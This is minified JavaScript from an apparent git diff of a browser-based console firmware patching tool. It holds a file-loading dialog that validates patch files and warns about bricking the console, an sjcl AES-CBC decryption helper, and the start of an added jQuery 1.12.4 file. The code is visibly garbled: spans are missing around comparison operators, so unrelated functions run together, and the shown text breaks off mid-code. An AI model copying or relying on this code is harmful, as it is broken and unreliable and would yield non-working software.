toast("Buffer memory allocation failed","error",5);function e(){c=l.close(),delete l}l=new fileObject(s.text()),t.pbar_object&&(t.pbar_object.ulog("Opened File "+s.text()),t.pbar_object.ulog("Size: 0x"+l.size.toString(16))),l.size===helper.patchfile_size?(t.pbar_object&&(t.pbar_object.ulog("File Size Check: OK"),t.pbar_object.updateProgressDialog({dlabel:"Reading file data",gvalue:0},p)),setTimeout(function(){Logger.info("lDialog: loading file "+s.text());var r=l.load(helper.patchfile_size,{offset:helper.rosBuffer.offset+48,size:helper.patchfile_size});if(0===r){if(t.pbar_object&&(t.pbar_object.ulog("File loaded successfully"),t.pbar_object.updateProgressDialog({dlabel:"SHA256 Extraction",glabel:"Validating '"+i+"'",dvalue:100,gvalue:75},p)),1===validatePatchFile(i)){var o="The loaded file is a custom patch file. Applying it on this console without a hardware flasher for emergencies is risky & unwise.";if(!helper.fm_usermode)return toast(o+" You cannot use it in Strict Mode.","warning",10),t.pbar_object&&t.pbar_object.ulog(o+"
You cannot use it in Strict Mode."),updateNoValidationGUI(p,i),void e();toast(o,"warning",5),t.pbar_object&&t.pbar_object.ulog("Patch file type: Custom
Using this file to patch the console is risky
You should consider your next steps carefully.")}else"CEX"===helper.kmode?(toast("The loaded file is the recommended patch file for use on this console with the current firmware version","success",5),t.pbar_object&&t.pbar_object.ulog("Patch file type: Official CEX")):(toast("The loaded file is the recommended patch file for CEX mode only. This console is in ("+helper.kmode+") mode, using this patch will brick it.","warning",10),t.pbar_object&&t.pbar_object.ulog("Patch file type: Official CEX - NOT compatible with the current mode ("+helper.kmode+") of this console"));updateValidationGUI(p,i),e()}else t.pbar_object&&t.pbar_object.ulog("File IO error: 0x"+r.toString(16)+"
Loading operations aborted"),updateNoValidationGUI(p,i),e()},500)):(helper.sp.playNG(),t.pbar_object&&(t.pbar_object.updateProgressDialog({dlabel:"Loading Operations failed",glabel:s.text()+" is not a valid patch file",dvalue:100,gvalue:100,istatus:"error-image"},p),t.pbar_object.ulog("File Size Check: NG
Loading operations aborted")),Logger.info("lDialog: Invalid File "+s.text()),e())},1200);else if(o.buffer&&o.buffer.size>0){if(t.spbar_object&&(t.spbar_object.ulog(p,!0),t.spbar_object.setTitle("Loading File Operations Progress"),t.spbar_object.open(),t.spbar_object.updateProgressDialog({glabel:"Loading '"+i+"'",gvalue:0,title:"Loading Operations Progress"})),o.pre_callback&&o.pre_callback(),l=new fileObject(s.text()),t.spbar_object&&((o.post_callback||o.afterload_callback)&&t.spbar_object.setCallback(o),t.spbar_object.ulog("Opened File "+s.text()),t.spbar_object.ulog("Size: 0x"+l.size.toString(16)),t.spbar_object.updateProgressDialog({glabel:"File Loading operations.",gvalue:25},p)),l.size<=o.buffer.size){var c=l.load(l.size,o.buffer);0===c?(t.spbar_object&&(t.spbar_object.ulog("File loaded successfully"),t.spbar_object.updateProgressDialog({glabel:"File Loading operations..",gvalue:50},p)),Logger.info("File loaded successfully"),0===(c=l.close())?(t.spbar_object&&(t.spbar_object.ulog("File closed successfully"),t.spbar_object.updateProgressDialog({glabel:"File Loading operations complete",gvalue:100,istatus:"success-image"},p)),Logger.info("File closed successfully")):(t.spbar_object&&(t.spbar_object.ulog("File closing error 0x"+c.toString(16)),t.spbar_object.updateProgressDialog({glabel:"File Loading operations error",gvalue:100,istatus:"error-image"},p)),Logger.error("lDialog: File closing error 0x"+c.toString(16)),toast("File closing error 0x"+c.toString(16),"error",5))):(t.spbar_object&&(t.spbar_object.ulog("File loading error 0x"+c.toString(16)),t.spbar_object.updateProgressDialog({glabel:"File Loading operations error",gvalue:100,istatus:"error-image"},p)),Logger.error("lDialog: File loading error 0x"+c.toString(16)),toast("File loading error 0x"+c.toString(16),"error",5))}else t.spbar_object&&(t.spbar_object.ulog("Size: 0x"+l.size.toString(16)),t.spbar_object.ulog("Buffer Size: 0x"+o.buffer.size.toString(16)),t.spbar_object.ulog("Buffer memory size too low!"),t.spbar_object.updateProgressDialog({glabel:"File Loading operations error",gvalue:100,istatus:"error-image"},p)),Logger.error("lDialog: Buffer memory size too low, aborting file load operations!"),toast("Buffer memory size too low. Aborting file load operations","error",5);delete l}else t.spbar_object&&(t.spbar_object.ulog("Buffer memory allocation failed!"),t.spbar_object.updateProgressDialog({glabel:"Buffer allocation error",gvalue:100,istatus:"error-image"},p)),Logger.error("lDialog: Buffer memory allocation failed!"),toast("Buffer memory allocation failed","error",5)}},{text:"Cancel",icon:"ui-icon-close",click:function(e,t){a.dialog("close")}}];jQuery("#"+t.lbutton_id).removeClass("ui-helper-hidden");var a=jQuery("#"+t.lbutton_id).dialog({autoOpen:!1,modal:!0,closeOnEscape:!1,resizable:!1,height:480,width:720,buttons:i,open:function(e,t){r.jstree({core:{multiple:!1,restore_focus:!1,dblclick_toggle:!1,data:function(e,t){r.find("i.jstree-ocl").addClass("ui-state-disabled");var s=getJSTreeData_wk(this,e,!0,!1);t(-1===s?[]:s),(-1===s||s.length>0)&&(r.find("i.jstree-ocl").removeClass("ui-state-disabled"),this.get_node(e,!0).removeClass("jstree-loading").attr("aria-busy",!1))}},themes:{dots:!0,icons:!0},sort:function(e,t){var r=this.get_node(e),s=this.get_node(t);return r.type==s.type?r.text>s.text?1:-1:r.type16)throw new sjcl.exception.corrupt("pkcs#5 padding corrupt");if(n=16843009*l,!i.equal(i.bitSlice([n,n,n,n],0,8*l),i.bitSlice(p,32*p.length-8*l,32*p.length)))throw new sjcl.exception.corrupt("pkcs#5 padding corrupt");return i.bitSlice(p,0,32*p.length-8*l)},cbc_decrypt=function(e,t,r){var s=new sjcl.cipher.aes(sjcl.codec.hex.toBits(r)),o=aes_decrypt(s,sjcl.codec.hex.toBits(e),sjcl.codec.hex.toBits(t));return sjcl.codec.hex.fromBits(o)}; \ No newline at end of file diff --git a/js/jquery-1.12.4.min.js b/js/jquery-1.12.4.min.js new file mode 100644 index 0000000..e836475 --- /dev/null +++ b/js/jquery-1.12.4.min.js @@ -0,0 +1,5 @@ +/*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="1.12.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(e.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:g,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray||function(a){return"array"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){var b=a&&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||"object"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;try{if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}if(!l.ownFirst)for(b in a)return k.call(a,b);for(b in a);return void 0===b||k.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?i[j.call(a)]||"object":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(s(a)){for(c=a.length;c>d;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):g.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(h)return h.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=e.call(arguments,2),d=function(){return a.apply(b||this,c.concat(e.call(arguments)))},d.guid=a.guid=a.guid||n.guid++,d):void 0},now:function(){return+new Date},support:l}),"function"==typeof Symbol&&(n.fn[Symbol.iterator]=c[Symbol.iterator]),n.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){i["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=!!a&&"length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ga(),z=ga(),A=ga(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+M+"))|)"+L+"*\\]",O=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+N+")*)|.*)\\)|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),R=new RegExp("^"+L+"*,"+L+"*"),S=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),T=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),U=new RegExp(O),V=new RegExp("^"+M+"$"),W={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M+"|[*])"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},X=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Z=/^[^{]+\{\s*\[native \w/,$=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,_=/[+~]/,aa=/'|\\/g,ba=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),ca=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},da=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(ea){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==x&&(o=$.exec(a)))if(f=o[1]){if(9===x){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(w&&(j=w.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(o[2])return H.apply(d,b.getElementsByTagName(a)),d;if((f=o[3])&&c.getElementsByClassName&&b.getElementsByClassName)return H.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==x)w=b,s=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(aa,"\\$&"):b.setAttribute("id",k=u),r=g(a),h=r.length,l=V.test(k)?"#"+k:"[id='"+k+"']";while(h--)r[h]=l+" "+qa(r[h]);s=r.join(","),w=_.test(a)&&oa(b.parentNode)||b}if(s)try{return H.apply(d,w.querySelectorAll(s)),d}catch(y){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(Q,"$1"),b,d,e)}function ga(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ha(a){return a[u]=!0,a}function ia(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ja(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function na(a){return ha(function(b){return b=+b,ha(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function oa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=fa.support={},f=fa.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fa.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ia(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ia(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Z.test(n.getElementsByClassName),c.getById=ia(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return"undefined"!=typeof b.getElementsByClassName&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=Z.test(n.querySelectorAll))&&(ia(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Z.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ia(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",O)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Z.test(o.compareDocumentPosition),t=b||Z.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},fa.matches=function(a,b){return fa(a,null,null,b)},fa.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(T,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fa(b,n,null,[a]).length>0},fa.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fa.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fa.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fa.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fa.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fa.selectors={cacheLength:50,createPseudo:ha,match:W,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ba,ca),a[3]=(a[3]||a[4]||a[5]||"").replace(ba,ca),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fa.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fa.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return W.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&U.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ba,ca).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fa.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(P," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fa.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ha(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ha(function(a){var b=[],c=[],d=h(a.replace(Q,"$1"));return d[u]?ha(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ha(function(a){return function(b){return fa(a,b).length>0}}),contains:ha(function(a){return a=a.replace(ba,ca),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ha(function(a){return V.test(a||"")||fa.error("unsupported lang: "+a),a=a.replace(ba,ca).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Y.test(a.nodeName)},input:function(a){return X.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:na(function(){return[0]}),last:na(function(a,b){return[b-1]}),eq:na(function(a,b,c){return[0>c?c+b:c]}),even:na(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:na(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:na(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:na(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function ra(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j,k=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(j=b[u]||(b[u]={}),i=j[b.uniqueID]||(j[b.uniqueID]={}),(h=i[d])&&h[0]===w&&h[1]===f)return k[2]=h[2];if(i[d]=k,k[2]=a(b,c,g))return!0}}}function sa(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ta(a,b,c){for(var d=0,e=b.length;e>d;d++)fa(a,b[d],c);return c}function ua(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function va(a,b,c,d,e,f){return d&&!d[u]&&(d=va(d)),e&&!e[u]&&(e=va(e,f)),ha(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ta(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ua(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ua(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ua(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function wa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ra(function(a){return a===b},h,!0),l=ra(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[ra(sa(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return va(i>1&&sa(m),i>1&&qa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(Q,"$1"),c,e>i&&wa(a.slice(i,e)),f>e&&wa(a=a.slice(e)),f>e&&qa(a))}m.push(c)}return sa(m)}function xa(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var 